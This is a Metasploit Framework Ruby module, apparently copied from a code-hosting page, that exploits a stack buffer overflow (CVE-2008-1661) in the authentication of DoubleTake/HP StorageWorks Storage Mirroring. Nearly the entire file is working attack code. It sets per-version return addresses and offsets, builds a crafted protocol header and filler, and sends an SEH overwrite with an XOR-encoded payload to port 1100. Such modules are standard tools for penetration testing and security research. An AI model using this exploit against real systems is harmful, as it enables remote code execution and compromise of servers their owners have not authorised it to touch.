84 lines
2.2 KiB
Ruby
84 lines
2.2 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# Framework web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/framework/
|
|
##
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
include Msf::Exploit::Remote::Tcp
|
|
include Msf::Exploit::Remote::Seh
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'DoubleTake/HP StorageWorks Storage Mirroring Service Authentication Overflow',
|
|
'Description' => %q{
|
|
This module exploits a stack overflow in the authentication mechanism of
|
|
NSI Doubletake which is also rebranded as HP Storage Works. This vulnerability
|
|
was found by Titon of Bastard Labs.
|
|
},
|
|
'Author' => [ 'ri0t <ri0t[at]ri0tnet.net>' ],
|
|
'Version' => '$Revision$',
|
|
'References' =>
|
|
[
|
|
['CVE', '2008-1661'],
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'process',
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 500,
|
|
'BadChars' => "\x00",
|
|
},
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
[
|
|
['doubletake 4.5.0', { 'Ret' => 0x006f5fa7, 'Offset' => 5544 } ],
|
|
['doubletake 4.4.2', { 'Ret' => 0x0074e307, 'Offset' => 944 } ],
|
|
['doubletake 4.5.0.1819', { 'Ret' => 0x006e62dd, 'Offset' => 5544 } ],
|
|
],
|
|
'DefaultTarget' => 0,
|
|
|
|
'Privileged' => false
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(1100)
|
|
], self.class)
|
|
end
|
|
|
|
def exploit
|
|
|
|
connect
|
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
header =
|
|
"\x00\x02\x00\x01\x27\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x36\x00\x00\x00\x00"+
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01"+
|
|
"\x00\x00\x00\x1e\x00\x00\x00\x01\x00\x01"
|
|
|
|
xor = Rex::Encoding::Xor::Byte
|
|
filler = rand_text_english(1) * (target['Offset'])
|
|
seh = generate_seh_payload(target.ret)
|
|
buffercoded = xor.encode(seh+payload.encoded, [0xf0].pack("C"))
|
|
sploit = header + filler + buffercoded[0]
|
|
sock.put(sploit)
|
|
|
|
handler
|
|
disconnect
|
|
end
|
|
|
|
end |